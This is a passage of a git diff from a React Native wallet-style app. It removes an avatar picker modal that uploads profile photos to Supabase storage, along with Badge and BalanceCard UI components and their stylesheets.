borderWidth: 3,
|
||||
borderColor: 'transparent',
|
||||
},
|
||||
avatarOptionSelected: {
|
||||
borderColor: KurdistanColors.kesk,
|
||||
backgroundColor: '#E8F5E9',
|
||||
},
|
||||
avatarEmoji: {
|
||||
fontSize: 36,
|
||||
},
|
||||
selectedBadge: {
|
||||
position: 'absolute',
|
||||
top: -4,
|
||||
right: -4,
|
||||
width: 24,
|
||||
height: 24,
|
||||
borderRadius: 12,
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
selectedBadgeText: {
|
||||
fontSize: 14,
|
||||
color: KurdistanColors.spi,
|
||||
fontWeight: 'bold',
|
||||
},
|
||||
modalFooter: {
|
||||
flexDirection: 'row',
|
||||
paddingHorizontal: 20,
|
||||
paddingTop: 16,
|
||||
gap: 12,
|
||||
},
|
||||
cancelButton: {
|
||||
flex: 1,
|
||||
padding: 16,
|
||||
borderRadius: 12,
|
||||
backgroundColor: '#F0F0F0',
|
||||
alignItems: 'center',
|
||||
},
|
||||
cancelButtonText: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: '#666',
|
||||
},
|
||||
saveButton: {
|
||||
flex: 1,
|
||||
padding: 16,
|
||||
borderRadius: 12,
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
alignItems: 'center',
|
||||
},
|
||||
saveButtonDisabled: {
|
||||
opacity: 0.6,
|
||||
},
|
||||
saveButtonText: {
|
||||
fontSize: 16,
|
||||
fontWeight: 'bold',
|
||||
color: KurdistanColors.spi,
|
||||
},
|
||||
uploadSection: {
|
||||
paddingHorizontal: 20,
|
||||
paddingVertical: 16,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: '#E0E0E0',
|
||||
},
|
||||
uploadButton: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
paddingVertical: 14,
|
||||
paddingHorizontal: 20,
|
||||
borderRadius: 12,
|
||||
gap: 8,
|
||||
},
|
||||
uploadButtonDisabled: {
|
||||
opacity: 0.6,
|
||||
},
|
||||
uploadButtonIcon: {
|
||||
fontSize: 20,
|
||||
},
|
||||
uploadButtonText: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: KurdistanColors.spi,
|
||||
},
|
||||
uploadedPreview: {
|
||||
marginTop: 12,
|
||||
alignItems: 'center',
|
||||
position: 'relative',
|
||||
},
|
||||
uploadedImage: {
|
||||
width: 100,
|
||||
height: 100,
|
||||
borderRadius: 50,
|
||||
borderWidth: 3,
|
||||
borderColor: KurdistanColors.kesk,
|
||||
},
|
||||
removeUploadButton: {
|
||||
position: 'absolute',
|
||||
top: -4,
|
||||
right: '38%',
|
||||
width: 28,
|
||||
height: 28,
|
||||
borderRadius: 14,
|
||||
backgroundColor: KurdistanColors.sor,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
boxShadow: '0px 2px 3px rgba(0, 0, 0, 0.3)',
|
||||
elevation: 4,
|
||||
},
|
||||
removeUploadText: {
|
||||
color: KurdistanColors.spi,
|
||||
fontSize: 14,
|
||||
fontWeight: 'bold',
|
||||
},
|
||||
divider: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
paddingHorizontal: 20,
|
||||
paddingVertical: 16,
|
||||
},
|
||||
dividerLine: {
|
||||
flex: 1,
|
||||
height: 1,
|
||||
backgroundColor: '#E0E0E0',
|
||||
},
|
||||
dividerText: {
|
||||
fontSize: 11,
|
||||
fontWeight: '600',
|
||||
color: '#999',
|
||||
marginHorizontal: 12,
|
||||
letterSpacing: 0.5,
|
||||
},
|
||||
});
|
||||
|
||||
export default AvatarPickerModal;
|
||||
@@ -1,515 +0,0 @@
|
||||
import React, { useState } from 'react';
|
||||
import {
|
||||
View,
|
||||
Text,
|
||||
Modal,
|
||||
TouchableOpacity,
|
||||
StyleSheet,
|
||||
ScrollView,
|
||||
Image,
|
||||
Alert,
|
||||
ActivityIndicator,
|
||||
Platform,
|
||||
} from 'react-native';
|
||||
import * as ImagePicker from 'expo-image-picker';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
import { useAuth } from '../contexts/AuthContext';
|
||||
import { supabase } from '../lib/supabase';
|
||||
|
||||
// Avatar pool - Kurdish/Middle Eastern themed avatars
|
||||
const AVATAR_POOL = [
|
||||
{ id: 'avatar1', emoji: '👨🏻', label: 'Man 1' },
|
||||
{ id: 'avatar2', emoji: '👨🏼', label: 'Man 2' },
|
||||
{ id: 'avatar3', emoji: '👨🏽', label: 'Man 3' },
|
||||
{ id: 'avatar4', emoji: '👨🏾', label: 'Man 4' },
|
||||
{ id: 'avatar5', emoji: '👩🏻', label: 'Woman 1' },
|
||||
{ id: 'avatar6', emoji: '👩🏼', label: 'Woman 2' },
|
||||
{ id: 'avatar7', emoji: '👩🏽', label: 'Woman 3' },
|
||||
{ id: 'avatar8', emoji: '👩🏾', label: 'Woman 4' },
|
||||
{ id: 'avatar9', emoji: '🧔🏻', label: 'Beard 1' },
|
||||
{ id: 'avatar10', emoji: '🧔🏼', label: 'Beard 2' },
|
||||
{ id: 'avatar11', emoji: '🧔🏽', label: 'Beard 3' },
|
||||
{ id: 'avatar12', emoji: '🧔🏾', label: 'Beard 4' },
|
||||
{ id: 'avatar13', emoji: '👳🏻♂️', label: 'Turban 1' },
|
||||
{ id: 'avatar14', emoji: '👳🏼♂️', label: 'Turban 2' },
|
||||
{ id: 'avatar15', emoji: '👳🏽♂️', label: 'Turban 3' },
|
||||
{ id: 'avatar16', emoji: '🧕🏻', label: 'Hijab 1' },
|
||||
{ id: 'avatar17', emoji: '🧕🏼', label: 'Hijab 2' },
|
||||
{ id: 'avatar18', emoji: '🧕🏽', label: 'Hijab 3' },
|
||||
{ id: 'avatar19', emoji: '👴🏻', label: 'Elder 1' },
|
||||
{ id: 'avatar20', emoji: '👴🏼', label: 'Elder 2' },
|
||||
{ id: 'avatar21', emoji: '👵🏻', label: 'Elder Woman 1' },
|
||||
{ id: 'avatar22', emoji: '👵🏼', label: 'Elder Woman 2' },
|
||||
{ id: 'avatar23', emoji: '👦🏻', label: 'Boy 1' },
|
||||
{ id: 'avatar24', emoji: '👦🏼', label: 'Boy 2' },
|
||||
{ id: 'avatar25', emoji: '👧🏻', label: 'Girl 1' },
|
||||
{ id: 'avatar26', emoji: '👧🏼', label: 'Girl 2' },
|
||||
];
|
||||
|
||||
interface AvatarPickerModalProps {
|
||||
visible: boolean;
|
||||
onClose: () => void;
|
||||
currentAvatar?: string;
|
||||
onAvatarSelected?: (avatarUrl: string) => void;
|
||||
}
|
||||
|
||||
const AvatarPickerModal: React.FC<AvatarPickerModalProps> = ({
|
||||
visible,
|
||||
onClose,
|
||||
currentAvatar,
|
||||
onAvatarSelected,
|
||||
}) => {
|
||||
const { user } = useAuth();
|
||||
const [selectedAvatar, setSelectedAvatar] = useState<string | null>(currentAvatar || null);
|
||||
const [uploadedImageUri, setUploadedImageUri] = useState<string | null>(null);
|
||||
const [isSaving, setIsSaving] = useState(false);
|
||||
const [isUploading, setIsUploading] = useState(false);
|
||||
|
||||
const handleAvatarSelect = (avatarId: string) => {
|
||||
setSelectedAvatar(avatarId);
|
||||
setUploadedImageUri(null); // Clear uploaded image when selecting from pool
|
||||
};
|
||||
|
||||
const requestPermissions = async () => {
|
||||
if (Platform.OS !== 'web') {
|
||||
const { status } = await ImagePicker.requestMediaLibraryPermissionsAsync();
|
||||
if (status !== 'granted') {
|
||||
Alert.alert(
|
||||
'Permission Required',
|
||||
'Sorry, we need camera roll permissions to upload your photo!'
|
||||
);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
};
|
||||
|
||||
const handlePickImage = async () => {
|
||||
const hasPermission = await requestPermissions();
|
||||
if (!hasPermission) return;
|
||||
|
||||
try {
|
||||
const result = await ImagePicker.launchImageLibraryAsync({
|
||||
mediaTypes: 'images',
|
||||
allowsEditing: true,
|
||||
aspect: [1, 1],
|
||||
quality: 0.8,
|
||||
});
|
||||
|
||||
if (!result.canceled && result.assets[0]) {
|
||||
setIsUploading(true);
|
||||
const imageUri = result.assets[0].uri;
|
||||
|
||||
if (__DEV__) console.log('[AvatarPicker] Uploading image:', imageUri);
|
||||
|
||||
// Upload to Supabase Storage
|
||||
const uploadedUrl = await uploadImageToSupabase(imageUri);
|
||||
|
||||
setIsUploading(false);
|
||||
|
||||
if (uploadedUrl) {
|
||||
if (__DEV__) console.log('[AvatarPicker] Upload successful:', uploadedUrl);
|
||||
setUploadedImageUri(uploadedUrl);
|
||||
setSelectedAvatar(null); // Clear emoji selection
|
||||
Alert.alert('Success', 'Photo uploaded successfully!');
|
||||
} else {
|
||||
if (__DEV__) console.error('[AvatarPicker] Upload failed: no URL returned');
|
||||
Alert.alert('Upload Failed', 'Could not upload your photo. Please check your internet connection and try again.');
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
setIsUploading(false);
|
||||
if (__DEV__) console.error('[AvatarPicker] Error picking image:', error);
|
||||
Alert.alert('Error', 'Failed to pick image. Please try again.');
|
||||
}
|
||||
};
|
||||
|
||||
const uploadImageToSupabase = async (imageUri: string): Promise<string | null> => {
|
||||
if (!user) {
|
||||
if (__DEV__) console.error('[AvatarPicker] No user found');
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
if (__DEV__) console.log('[AvatarPicker] Fetching image blob...');
|
||||
// Convert image URI to blob for web, or use file for native
|
||||
const response = await fetch(imageUri);
|
||||
const blob = await response.blob();
|
||||
if (__DEV__) console.log('[AvatarPicker] Blob size:', blob.size, 'bytes');
|
||||
|
||||
// Generate unique filename
|
||||
const fileExt = imageUri.split('.').pop()?.toLowerCase() || 'jpg';
|
||||
const fileName = `${user.id}-${Date.now()}.${fileExt}`;
|
||||
const filePath = `avatars/${fileName}`;
|
||||
if (__DEV__) console.log('[AvatarPicker] Uploading to:', filePath);
|
||||
|
||||
// Upload to Supabase Storage
|
||||
const { data: uploadData, error: uploadError } = await supabase.storage
|
||||
.from('profiles')
|
||||
.upload(filePath, blob, {
|
||||
contentType: `image/${fileExt}`,
|
||||
upsert: false,
|
||||
});
|
||||
|
||||
if (uploadError) {
|
||||
if (__DEV__) console.error('[AvatarPicker] Upload error:', uploadError);
|
||||
return null;
|
||||
}
|
||||
|
||||
if (__DEV__) console.log('[AvatarPicker] Upload successful:', uploadData);
|
||||
|
||||
// Get public URL
|
||||
const { data } = supabase.storage
|
||||
.from('profiles')
|
||||
.getPublicUrl(filePath);
|
||||
|
||||
if (__DEV__) console.log('[AvatarPicker] Public URL:', data.publicUrl);
|
||||
|
||||
return data.publicUrl;
|
||||
} catch (error) {
|
||||
if (__DEV__) console.error('[AvatarPicker] Error uploading to Supabase:', error);
|
||||
return null;
|
||||
}
|
||||
};
|
||||
|
||||
const handleSave = async () => {
|
||||
const avatarToSave = uploadedImageUri || selectedAvatar;
|
||||
|
||||
if (!avatarToSave || !user) {
|
||||
Alert.alert('Error', 'Please select an avatar or upload a photo');
|
||||
return;
|
||||
}
|
||||
|
||||
if (__DEV__) console.log('[AvatarPicker] Saving avatar:', avatarToSave);
|
||||
|
||||
setIsSaving(true);
|
||||
|
||||
try {
|
||||
// Update avatar in Supabase profiles table
|
||||
const { data, error } = await supabase
|
||||
.from('profiles')
|
||||
.update({ avatar_url: avatarToSave })
|
||||
.eq('id', user.id)
|
||||
.select();
|
||||
|
||||
if (error) {
|
||||
if (__DEV__) console.error('[AvatarPicker] Save error:', error);
|
||||
throw error;
|
||||
}
|
||||
|
||||
if (__DEV__) console.log('[AvatarPicker] Avatar saved successfully:', data);
|
||||
|
||||
Alert.alert('Success', 'Avatar updated successfully!');
|
||||
|
||||
if (onAvatarSelected) {
|
||||
onAvatarSelected(avatarToSave);
|
||||
}
|
||||
|
||||
onClose();
|
||||
} catch (error) {
|
||||
if (__DEV__) console.error('[AvatarPicker] Error updating avatar:', error);
|
||||
Alert.alert('Error', 'Failed to update avatar. Please try again.');
|
||||
} finally {
|
||||
setIsSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<Modal
|
||||
visible={visible}
|
||||
animationType="slide"
|
||||
transparent={true}
|
||||
onRequestClose={onClose}
|
||||
>
|
||||
<View style={styles.modalOverlay}>
|
||||
<View style={styles.modalContainer}>
|
||||
{/* Header */}
|
||||
<View style={styles.modalHeader}>
|
||||
<Text style={styles.modalTitle}>Choose Your Avatar</Text>
|
||||
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
|
||||
<Text style={styles.closeButtonText}>✕</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
{/* Upload Photo Button */}
|
||||
<View style={styles.uploadSection}>
|
||||
<TouchableOpacity
|
||||
style={[styles.uploadButton, isUploading && styles.uploadButtonDisabled]}
|
||||
onPress={handlePickImage}
|
||||
disabled={isUploading}
|
||||
>
|
||||
{isUploading ? (
|
||||
<ActivityIndicator color={KurdistanColors.spi} size="small" />
|
||||
) : (
|
||||
<>
|
||||
<Text style={styles.uploadButtonIcon}>📷</Text>
|
||||
<Text style={styles.uploadButtonText}>Upload Your Photo</Text>
|
||||
</>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
|
||||
{/* Uploaded Image Preview */}
|
||||
{uploadedImageUri && (
|
||||
<View style={styles.uploadedPreview}>
|
||||
<Image source={{ uri: uploadedImageUri }} style={styles.uploadedImage} />
|
||||
<TouchableOpacity
|
||||
style={styles.removeUploadButton}
|
||||
onPress={() => setUploadedImageUri(null)}
|
||||
>
|
||||
<Text style={styles.removeUploadText}>✕</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
|
||||
{/* Divider */}
|
||||
<View style={styles.divider}>
|
||||
<View style={styles.dividerLine} />
|
||||
<Text style={styles.dividerText}>OR CHOOSE FROM POOL</Text>
|
||||
<View style={styles.dividerLine} />
|
||||
</View>
|
||||
|
||||
{/* Avatar Grid */}
|
||||
<ScrollView style={styles.avatarScroll} showsVerticalScrollIndicator={false}>
|
||||
<View style={styles.avatarGrid}>
|
||||
{AVATAR_POOL.map((avatar) => (
|
||||
<TouchableOpacity
|
||||
key={avatar.id}
|
||||
style={[
|
||||
styles.avatarOption,
|
||||
selectedAvatar === avatar.id && styles.avatarOptionSelected,
|
||||
]}
|
||||
onPress={() => handleAvatarSelect(avatar.id)}
|
||||
>
|
||||
<Text style={styles.avatarEmoji}>{avatar.emoji}</Text>
|
||||
{selectedAvatar === avatar.id && (
|
||||
<View style={styles.selectedBadge}>
|
||||
<Text style={styles.selectedBadgeText}>✓</Text>
|
||||
</View>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
))}
|
||||
</View>
|
||||
</ScrollView>
|
||||
|
||||
{/* Footer Actions */}
|
||||
<View style={styles.modalFooter}>
|
||||
<TouchableOpacity
|
||||
style={styles.cancelButton}
|
||||
onPress={onClose}
|
||||
disabled={isSaving}
|
||||
>
|
||||
<Text style={styles.cancelButtonText}>Cancel</Text>
|
||||
</TouchableOpacity>
|
||||
<TouchableOpacity
|
||||
style={[styles.saveButton, isSaving && styles.saveButtonDisabled]}
|
||||
onPress={handleSave}
|
||||
disabled={isSaving}
|
||||
>
|
||||
{isSaving ? (
|
||||
<ActivityIndicator color={KurdistanColors.spi} size="small" />
|
||||
) : (
|
||||
<Text style={styles.saveButtonText}>Save Avatar</Text>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
</View>
|
||||
</View>
|
||||
</Modal>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
modalOverlay: {
|
||||
flex: 1,
|
||||
backgroundColor: 'rgba(0, 0, 0, 0.5)',
|
||||
justifyContent: 'flex-end',
|
||||
},
|
||||
modalContainer: {
|
||||
backgroundColor: KurdistanColors.spi,
|
||||
borderTopLeftRadius: 24,
|
||||
borderTopRightRadius: 24,
|
||||
maxHeight: '80%',
|
||||
paddingBottom: 20,
|
||||
},
|
||||
modalHeader: {
|
||||
flexDirection: 'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center',
|
||||
padding: 20,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: '#E0E0E0',
|
||||
},
|
||||
modalTitle: {
|
||||
fontSize: 20,
|
||||
fontWeight: 'bold',
|
||||
color: KurdistanColors.reş,
|
||||
},
|
||||
closeButton: {
|
||||
width: 32,
|
||||
height: 32,
|
||||
borderRadius: 16,
|
||||
backgroundColor: '#F0F0F0',
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
closeButtonText: {
|
||||
fontSize: 18,
|
||||
color: '#666',
|
||||
},
|
||||
avatarScroll: {
|
||||
padding: 20,
|
||||
},
|
||||
avatarGrid: {
|
||||
flexDirection: 'row',
|
||||
flexWrap: 'wrap',
|
||||
justifyContent: 'space-between',
|
||||
},
|
||||
avatarOption: {
|
||||
width: '22%',
|
||||
aspectRatio: 1,
|
||||
backgroundColor: '#F8F9FA',
|
||||
borderRadius: 16,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
marginBottom: 12,
|
||||
borderWidth: 3,
|
||||
borderColor: 'transparent',
|
||||
},
|
||||
avatarOptionSelected: {
|
||||
borderColor: KurdistanColors.kesk,
|
||||
backgroundColor: '#E8F5E9',
|
||||
},
|
||||
avatarEmoji: {
|
||||
fontSize: 36,
|
||||
},
|
||||
selectedBadge: {
|
||||
position: 'absolute',
|
||||
top: -4,
|
||||
right: -4,
|
||||
width: 24,
|
||||
height: 24,
|
||||
borderRadius: 12,
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
selectedBadgeText: {
|
||||
fontSize: 14,
|
||||
color: KurdistanColors.spi,
|
||||
fontWeight: 'bold',
|
||||
},
|
||||
modalFooter: {
|
||||
flexDirection: 'row',
|
||||
paddingHorizontal: 20,
|
||||
paddingTop: 16,
|
||||
gap: 12,
|
||||
},
|
||||
cancelButton: {
|
||||
flex: 1,
|
||||
padding: 16,
|
||||
borderRadius: 12,
|
||||
backgroundColor: '#F0F0F0',
|
||||
alignItems: 'center',
|
||||
},
|
||||
cancelButtonText: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: '#666',
|
||||
},
|
||||
saveButton: {
|
||||
flex: 1,
|
||||
padding: 16,
|
||||
borderRadius: 12,
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
alignItems: 'center',
|
||||
},
|
||||
saveButtonDisabled: {
|
||||
opacity: 0.6,
|
||||
},
|
||||
saveButtonText: {
|
||||
fontSize: 16,
|
||||
fontWeight: 'bold',
|
||||
color: KurdistanColors.spi,
|
||||
},
|
||||
uploadSection: {
|
||||
paddingHorizontal: 20,
|
||||
paddingVertical: 16,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: '#E0E0E0',
|
||||
},
|
||||
uploadButton: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
paddingVertical: 14,
|
||||
paddingHorizontal: 20,
|
||||
borderRadius: 12,
|
||||
gap: 8,
|
||||
},
|
||||
uploadButtonDisabled: {
|
||||
opacity: 0.6,
|
||||
},
|
||||
uploadButtonIcon: {
|
||||
fontSize: 20,
|
||||
},
|
||||
uploadButtonText: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: KurdistanColors.spi,
|
||||
},
|
||||
uploadedPreview: {
|
||||
marginTop: 12,
|
||||
alignItems: 'center',
|
||||
position: 'relative',
|
||||
},
|
||||
uploadedImage: {
|
||||
width: 100,
|
||||
height: 100,
|
||||
borderRadius: 50,
|
||||
borderWidth: 3,
|
||||
borderColor: KurdistanColors.kesk,
|
||||
},
|
||||
removeUploadButton: {
|
||||
position: 'absolute',
|
||||
top: -4,
|
||||
right: '38%',
|
||||
width: 28,
|
||||
height: 28,
|
||||
borderRadius: 14,
|
||||
backgroundColor: KurdistanColors.sor,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
shadowColor: '#000',
|
||||
shadowOffset: { width: 0, height: 2 },
|
||||
shadowOpacity: 0.3,
|
||||
shadowRadius: 3,
|
||||
elevation: 4,
|
||||
},
|
||||
removeUploadText: {
|
||||
color: KurdistanColors.spi,
|
||||
fontSize: 14,
|
||||
fontWeight: 'bold',
|
||||
},
|
||||
divider: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
paddingHorizontal: 20,
|
||||
paddingVertical: 16,
|
||||
},
|
||||
dividerLine: {
|
||||
flex: 1,
|
||||
height: 1,
|
||||
backgroundColor: '#E0E0E0',
|
||||
},
|
||||
dividerText: {
|
||||
fontSize: 11,
|
||||
fontWeight: '600',
|
||||
color: '#999',
|
||||
marginHorizontal: 12,
|
||||
letterSpacing: 0.5,
|
||||
},
|
||||
});
|
||||
|
||||
export default AvatarPickerModal;
|
||||
@@ -1,118 +0,0 @@
|
||||
import React from 'react';
|
||||
import { View, Text, StyleSheet, ViewStyle } from 'react-native';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
|
||||
interface BadgeProps {
|
||||
label?: string;
|
||||
children?: React.ReactNode;
|
||||
variant?: 'primary' | 'secondary' | 'success' | 'warning' | 'danger' | 'info' | 'error';
|
||||
size?: 'small' | 'medium' | 'large';
|
||||
style?: ViewStyle;
|
||||
icon?: React.ReactNode;
|
||||
testID?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Badge Component
|
||||
* For tiki roles, status indicators, labels
|
||||
*/
|
||||
export const Badge: React.FC<BadgeProps> = ({
|
||||
label,
|
||||
children,
|
||||
variant = 'primary',
|
||||
size = 'medium',
|
||||
style,
|
||||
icon,
|
||||
testID,
|
||||
}) => {
|
||||
const content = label || children;
|
||||
|
||||
return (
|
||||
<View testID={testID} style={[styles.badge, styles[variant], styles[`${size}Size`], style]}>
|
||||
{icon}
|
||||
<Text style={[styles.text, styles[`${variant}Text`], styles[`${size}Text`]]}>
|
||||
{content}
|
||||
</Text>
|
||||
</View>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
badge: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
borderRadius: 20,
|
||||
paddingHorizontal: 12,
|
||||
paddingVertical: 6,
|
||||
gap: 4,
|
||||
},
|
||||
// Variants
|
||||
primary: {
|
||||
backgroundColor: `${KurdistanColors.kesk}15`,
|
||||
},
|
||||
secondary: {
|
||||
backgroundColor: `${KurdistanColors.zer}15`,
|
||||
},
|
||||
success: {
|
||||
backgroundColor: '#10B98115',
|
||||
},
|
||||
warning: {
|
||||
backgroundColor: `${KurdistanColors.zer}20`,
|
||||
},
|
||||
danger: {
|
||||
backgroundColor: `${KurdistanColors.sor}15`,
|
||||
},
|
||||
error: {
|
||||
backgroundColor: `${KurdistanColors.sor}15`,
|
||||
},
|
||||
info: {
|
||||
backgroundColor: '#3B82F615',
|
||||
},
|
||||
// Sizes
|
||||
smallSize: {
|
||||
paddingHorizontal: 8,
|
||||
paddingVertical: 4,
|
||||
},
|
||||
mediumSize: {
|
||||
paddingHorizontal: 12,
|
||||
paddingVertical: 6,
|
||||
},
|
||||
largeSize: {
|
||||
paddingHorizontal: 16,
|
||||
paddingVertical: 8,
|
||||
},
|
||||
// Text styles
|
||||
text: {
|
||||
fontWeight: '600',
|
||||
},
|
||||
primaryText: {
|
||||
color: KurdistanColors.kesk,
|
||||
},
|
||||
secondaryText: {
|
||||
color: '#855D00',
|
||||
},
|
||||
successText: {
|
||||
color: '#10B981',
|
||||
},
|
||||
warningText: {
|
||||
color: '#D97706',
|
||||
},
|
||||
dangerText: {
|
||||
color: KurdistanColors.sor,
|
||||
},
|
||||
errorText: {
|
||||
color: KurdistanColors.sor,
|
||||
},
|
||||
infoText: {
|
||||
color: '#3B82F6',
|
||||
},
|
||||
smallText: {
|
||||
fontSize: 11,
|
||||
},
|
||||
mediumText: {
|
||||
fontSize: 13,
|
||||
},
|
||||
largeText: {
|
||||
fontSize: 15,
|
||||
},
|
||||
});
|
||||
@@ -1,117 +0,0 @@
|
||||
import React from 'react';
|
||||
import { View, Text, StyleSheet, TouchableOpacity } from 'react-native';
|
||||
import { TokenIcon } from './TokenIcon';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
|
||||
interface BalanceCardProps {
|
||||
symbol: string;
|
||||
name: string;
|
||||
balance: string;
|
||||
value?: string;
|
||||
change?: string;
|
||||
onPress?: () => void;
|
||||
}
|
||||
|
||||
export const BalanceCard: React.FC<BalanceCardProps> = ({
|
||||
symbol,
|
||||
name,
|
||||
balance,
|
||||
value,
|
||||
change,
|
||||
onPress,
|
||||
}) => {
|
||||
const changeValue = parseFloat(change || '0');
|
||||
const isPositive = changeValue >= 0;
|
||||
|
||||
return (
|
||||
<TouchableOpacity
|
||||
style={styles.container}
|
||||
onPress={onPress}
|
||||
disabled={!onPress}
|
||||
activeOpacity={0.7}
|
||||
>
|
||||
<View style={styles.row}>
|
||||
<TokenIcon symbol={symbol} size={40} />
|
||||
<View style={styles.info}>
|
||||
<View style={styles.nameRow}>
|
||||
<Text style={styles.symbol}>{symbol}</Text>
|
||||
<Text style={styles.balance}>{balance}</Text>
|
||||
</View>
|
||||
<View style={styles.detailsRow}>
|
||||
<Text style={styles.name}>{name}</Text>
|
||||
{value && <Text style={styles.value}>{value}</Text>}
|
||||
</View>
|
||||
</View>
|
||||
</View>
|
||||
{change && (
|
||||
<View style={styles.changeContainer}>
|
||||
<Text
|
||||
style={[
|
||||
styles.change,
|
||||
{ color: isPositive ? KurdistanColors.kesk : KurdistanColors.sor },
|
||||
]}
|
||||
>
|
||||
{isPositive ? '+' : ''}
|
||||
{change}
|
||||
</Text>
|
||||
</View>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
backgroundColor: '#FFFFFF',
|
||||
padding: 16,
|
||||
borderRadius: 12,
|
||||
marginBottom: 12,
|
||||
boxShadow: '0px 2px 4px rgba(0, 0, 0, 0.1)',
|
||||
elevation: 3,
|
||||
},
|
||||
row: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
},
|
||||
info: {
|
||||
flex: 1,
|
||||
marginLeft: 12,
|
||||
},
|
||||
nameRow: {
|
||||
flexDirection: 'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center',
|
||||
marginBottom: 4,
|
||||
},
|
||||
symbol: {
|
||||
fontSize: 18,
|
||||
fontWeight: '700',
|
||||
color: '#000',
|
||||
},
|
||||
balance: {
|
||||
fontSize: 18,
|
||||
fontWeight: '600',
|
||||
color: '#000',
|
||||
},
|
||||
detailsRow: {
|
||||
flexDirection: 'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center',
|
||||
},
|
||||
name: {
|
||||
fontSize: 14,
|
||||
color: '#666',
|
||||
},
|
||||
value: {
|
||||
fontSize: 14,
|
||||
color: '#666',
|
||||
},
|
||||
changeContainer: {
|
||||
marginTop: 8,
|
||||
alignItems: 'flex-end',
|
||||
},
|
||||
change: {
|
||||
fontSize: 12,
|
||||
fontWeight: '600',
|
||||
},
|
||||
});
|
||||
@@ -1,120 +0,0 @@
|
||||
import React from 'react';
|
||||
import { View, Text, StyleSheet, TouchableOpacity } from 'react-native';
|
||||
import { TokenIcon } from './TokenIcon';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
|
||||
interface BalanceCardProps {
|
||||
symbol: string;
|
||||
name: string;
|
||||
balance: string;
|
||||
value?: string;
|
||||
change?: string;
|
||||
onPress?: () => void;
|
||||
}
|
||||
|
||||
export const BalanceCard: React.FC<BalanceCardProps> = ({
|
||||
symbol,
|
||||
name,
|
||||
balance,
|
||||
value,
|
||||
change,
|
||||
onPress,
|
||||
}) => {
|
||||
const changeValue = parseFloat(change || '0');
|
||||
const isPositive = changeValue >= 0;
|
||||
|
||||
return (
|
||||
<TouchableOpacity
|
||||
style={styles.container}
|
||||
onPress={onPress}
|
||||
disabled={!onPress}
|
||||
activeOpacity={0.7}
|
||||
>
|
||||
<View style={styles.row}>
|
||||
<TokenIcon symbol={symbol} size={40} />
|
||||
<View style={styles.info}>
|
||||
<View style={styles.nameRow}>
|
||||
<Text style={styles.symbol}>{symbol}</Text>
|
||||
<Text style={styles.balance}>{balance}</Text>
|
||||
</View>
|
||||
<View style={styles.detailsRow}>
|
||||
<Text style={styles.name}>{name}</Text>
|
||||
{value && <Text style={styles.value}>{value}</Text>}
|
||||
</View>
|
||||
</View>
|
||||
</View>
|
||||
{change && (
|
||||
<View style={styles.changeContainer}>
|
||||
<Text
|
||||
style={[
|
||||
styles.change,
|
||||
{ color: isPositive ? KurdistanColors.kesk : KurdistanColors.sor },
|
||||
]}
|
||||
>
|
||||
{isPositive ? '+' : ''}
|
||||
{change}
|
||||
</Text>
|
||||
</View>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
backgroundColor: '#FFFFFF',
|
||||
padding: 16,
|
||||
borderRadius: 12,
|
||||
marginBottom: 12,
|
||||
shadowColor: '#000',
|
||||
shadowOffset: { width: 0, height: 2 },
|
||||
shadowOpacity: 0.1,
|
||||
shadowRadius: 4,
|
||||
elevation: 3,
|
||||
},
|
||||
row: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
},
|
||||
info: {
|
